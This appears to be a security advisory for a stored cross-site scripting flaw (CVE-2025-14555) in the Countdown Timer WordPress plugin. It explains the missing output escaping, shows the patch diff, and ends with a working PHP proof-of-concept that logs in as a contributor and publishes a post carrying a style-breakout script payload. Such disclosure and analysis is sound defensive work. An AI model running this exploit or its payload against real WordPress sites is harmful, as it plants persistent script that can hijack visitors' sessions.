Atomic Edge analysis of CVE-2025-14555:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Countdown Timer – Widget Countdown WordPress plugin. The vulnerability affects the plugin’s ‘wpdevart_countdown’ shortcode handler. Attackers with contributor-level permissions or higher can inject arbitrary JavaScript into posts or pages, which executes when a user views the compromised content. The CVSS score of 6.4 reflects the authentication requirement combined with the persistent nature of the attack.
Atomic Edge research identified the root cause as insufficient output escaping on user-supplied shortcode attributes. The vulnerable code resides in the `wpdevart_wpdevart_countdown_shortcode` function within `/widget-countdown/includes/front_end.php`. Lines 98-101 concatenate user-controlled values from the `$curent_value` array directly into HTML output without proper escaping. Specifically, the variables `$day_left`, `$hourse_left`, `$minuts_left`, and `$seconds_left` are derived from shortcode attributes and inserted without sanitization. The `wpdevart_countdown_css` function also directly inserts user-controlled parameters like `content_position`, `top_ditance`, `bottom_distance`, and `font_color` into CSS blocks without escaping.
The exploitation method involves an authenticated attacker with contributor privileges creating or editing a post. The attacker embeds the `[wpdevart_countdown]` shortcode with malicious attribute values. For example, an attacker could set the `font_color` attribute to a payload like `red;}alert(document.domain)`. When the plugin generates the countdown timer’s CSS, this payload breaks out of the CSS context and executes JavaScript. The attack persists in the database and triggers whenever any user views the compromised post.
The patch in version 2.7.8 adds proper output escaping using WordPress core functions. The diff shows the addition of `esc_html()` calls around the time value variables (`$day_left`, `$hourse_left`, `$minuts_left`, `$seconds_left`) on lines 101-104 of front_end.php. The patch also adds `esc_attr()` calls around CSS property values (`content_position`, `top_ditance`, `bottom_distance`, `font_color`) on lines 167, 168, 173, and 178. These functions encode HTML entities and attribute values, neutralizing XSS payloads. The patch also fixes minor output escaping issues in admin_menu.php for image URLs.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of a victim’s browser session. This can lead to session hijacking, administrative actions performed on behalf of the user, content defacement, or redirection to malicious sites. The stored nature means a single injection can affect all users who view the compromised page, amplifying the impact.
--- a/widget-countdown/includes/admin_menu.php
+++ b/widget-countdown/includes/admin_menu.php
@@ -542,9 +542,9 @@
margin-top:15px;
position: relative;
}
- .wpdevart_support:before {
+ .wpdevart_support::before {
content: "";
- background: url(<?php echo esc_url($this->plugin_url) ?>images/support-white.png) no-repeat;
+ background: url("<?php echo esc_url($this->plugin_url); ?>images/support-white.png") no-repeat;
width: 25px;
height: 25px;
background-size: 25px;
@@ -587,12 +587,12 @@
<h2 style="font-size: 20px; text-align: center; ">Adding a countdown in post or page</h2><br>
<div style="font-size:15px; text-align: center; max-width: 1024px; margin: 0 auto;">If you are using Classic Editor, then click on the shortcode button and set Countdown timer options, then click on the "Insert Countdown" button. Check the left screenshot below. If you are using Block-Enabled Editor, then click on the Plus button and open the Common Blocks tab, then click on WpDevArt countdown and configure settings. Check the right screenshot below.</div>
<br/>
- <div style="text-align:center"><img class="image" style="max-width:35%;margin-right:10px;border: 1px solid #000000;" src="<?php echo $this->plugin_url.'images/clasic_editor_button_place.jpg' ?>"><img style="max-width:35%; border: 1px solid #000000;" class="image" src="<?php echo $this->plugin_url.'images/gutenberg_button_place.jpg' ?>"></div>
+ <div style="text-align:center"><img class="image" style="max-width:35%;margin-right:10px;border: 1px solid #000000;" src="<?php echo esc_url($this->plugin_url.'images/clasic_editor_button_place.jpg') ?>"><img style="max-width:35%; border: 1px solid #000000;" class="image" src="<?php echo $this->plugin_url.'images/gutenberg_button_place.jpg' ?>"></div>
</div>
<div class="image_width_description">
<h2 style="font-size: 20px; text-align:center;">Adding a countdown in a widget</h2><br>
<div style="font-size:15px; text-align: center; max-width: 1024px; margin: 0 auto;">For adding a countdown timer into your website Sidebars go to your website Widgets page, pick and drop the Countdown widget into your sidebar. Then set the Countdown timer options, then save changes. Look at the screenshot below.</div><br>
- <div style="text-align:center"><img style="max-width:35%; border: 1px solid #000000;" class="image" src="<?php echo $this->plugin_url.'images/widget_place.jpg' ?>"></div>
+ <div style="text-align:center"><img style="max-width:35%; border: 1px solid #000000;" class="image" src="<?php echo esc_url($this->plugin_url.'images/widget_place.jpg') ?>"></div>
</div>
<?php
--- a/widget-countdown/includes/front_end.php
+++ b/widget-countdown/includes/front_end.php
@@ -48,7 +48,7 @@
public function wpdevart_wpdevart_countdown_shortcode( $atts,$content){
self::$id_for_content++;
$output_html='';
- $curent_value= shortcode_atts( array(
+ $curent_value = shortcode_atts( array(
"text_for_day" => __( "Days", "wpdevart_countdown" ),
"text_for_hour" => __( "Hours", "wpdevart_countdown" ),
"text_for_minut" => __( "Minutes", "wpdevart_countdown" ),
@@ -98,10 +98,10 @@
$output_html.='<div class="countdown">
- <span class="element_conteiner"><span class="days time_left">'.$day_left.'</span><span class="time_description">'.esc_html($curent_value['text_for_day']).'</span></span>
- <span class="element_conteiner"><span class="hourse time_left">'.$hourse_left.'</span><span class="time_description">'.esc_html($curent_value['text_for_hour']).'</span></span>
- <span class="element_conteiner"><span class="minutes time_left">'.$minuts_left.'</span><span class="time_description">'.esc_html($curent_value['text_for_minut']).'</span></span>
- <span class="element_conteiner"><span class="secondes time_left">'.$seconds_left.'</span><span class="time_description">'.esc_html($curent_value['text_for_second']).'</span></span>
+ <span class="element_conteiner"><span class="days time_left">'.esc_html($day_left).'</span><span class="time_description">'.esc_html($curent_value['text_for_day']).'</span></span>
+ <span class="element_conteiner"><span class="hourse time_left">'.esc_html($hourse_left).'</span><span class="time_description">'.esc_html($curent_value['text_for_hour']).'</span></span>
+ <span class="element_conteiner"><span class="minutes time_left">'.esc_html($minuts_left).'</span><span class="time_description">'.esc_html($curent_value['text_for_minut']).'</span></span>
+ <span class="element_conteiner"><span class="secondes time_left">'.esc_html($seconds_left).'</span><span class="time_description">'.esc_html($curent_value['text_for_second']).'</span></span>
</div>';
$output_html.='</div>';
$output_html.='<script>'.$this->wpdevart_countdown_javascript($curent_value).'</script><style>'.$this->wpdevart_countdown_css($curent_value).'</style>';
@@ -166,19 +166,19 @@
public function wpdevart_countdown_css($parametrs_for_countedown){
$output_css='';
- $output_css.='#main_countedown_'.self::$id_for_content.' .countdown{text-align:'.$parametrs_for_countedown['content_position'].';}';
- $output_css.= '#main_countedown_'.self::$id_for_content.' .countdown{margin-top:'.$parametrs_for_countedown['top_ditance'].'px;margin-bottom:'.$parametrs_for_countedown['bottom_distance'].'px}';
+ $output_css.='#main_countedown_'.self::$id_for_content.' .countdown{text-align:'.esc_attr($parametrs_for_countedown['content_position']).';}';
+ $output_css.= '#main_countedown_'.self::$id_for_content.' .countdown{margin-top:'.esc_attr($parametrs_for_countedown['top_ditance']).'px;margin-bottom:'.esc_attr($parametrs_for_countedown['bottom_distance']).'px}';
$output_css.= "#main_countedown_".self::$id_for_content." .time_left{rn";
$output_css.= "border-radius:8px;rn";
$output_css.= "background-color:#3DA8CC;rn";
$output_css.= "font-size:23px;rn";
$output_css.= "font-family:monospace;rn";
- $output_css.= "color:".$parametrs_for_countedown['font_color'].";rn";
+ $output_css.= "color:".esc_attr($parametrs_for_countedown['font_color']).";rn";
$output_css.= "}rn";
$output_css.= "#main_countedown_".self::$id_for_content." .time_description{rn";
$output_css.= "font-size:23px;rn";
$output_css.= "font-family:monospace;rn";
- $output_css.= "color:".$parametrs_for_countedown['font_color'].";rn";
+ $output_css.= "color:".esc_attr($parametrs_for_countedown['font_color']).";rn";
$output_css.= "}rn";
$output_css.= "#main_countedown_".self::$id_for_content." .element_conteiner{min-width:90px}";
--- a/widget-countdown/wpdevart-countdown.php
+++ b/widget-countdown/wpdevart-countdown.php
@@ -3,7 +3,7 @@
Plugin Name: Countdown Wpdevart
Plugin URI: http://wpdevart.com/wordpress-countdown-plugin/
Description: Countdown plugin is an nice tool to create and insert countdown timers into your posts/pages and widgets .
-Version: 2.7.7
+Version: 2.7.8
Author: wpdevart
Author URI: http://wpdevart.com
License: GPL3 http://www.gnu.org/licenses/gpl-3.0.html
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14555 - Countdown Timer - Widget Countdown <= 2.7.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload to break out of CSS context and execute JavaScript
$malicious_font_color = 'red;}</style><script>alert(`Atomic Edge XSS: ${document.domain}`)</script><style>';
// Create a WordPress REST API authentication request
$auth_url = $target_url . '/wp-json/jwt-auth/v1/token';
$auth_data = array(
'username' => $username,
'password' => $password
);
$ch = curl_init($auth_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
die('Authentication failed. Check credentials and JWT Auth plugin availability.');
}
$auth_result = json_decode($response, true);
$token = $auth_result['token'] ?? '';
if (empty($token)) {
die('Could not retrieve authentication token.');
}
// Create a new post with the malicious shortcode
$post_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
'title' => 'Test Post with Malicious Countdown',
'content' => '[wpdevart_countdown font_color="' . $malicious_font_color . '" year="2025" month="12" day="31" hour="23" minut="59"]',
'status' => 'publish'
);
$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Authorization: Bearer ' . $token
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 201) {
$post_result = json_decode($response, true);
$post_id = $post_result['id'] ?? 0;
$post_link = $post_result['link'] ?? '';
echo 'Exploit successful! Post created with ID: ' . $post_id . "n";
echo 'Visit the post to trigger XSS: ' . $post_link . "n";
echo 'Payload injected into font_color attribute of wpdevart_countdown shortcode.n';
} else {
echo 'Failed to create post. HTTP Code: ' . $http_code . "n";
echo 'Response: ' . $response . "n";
}
?>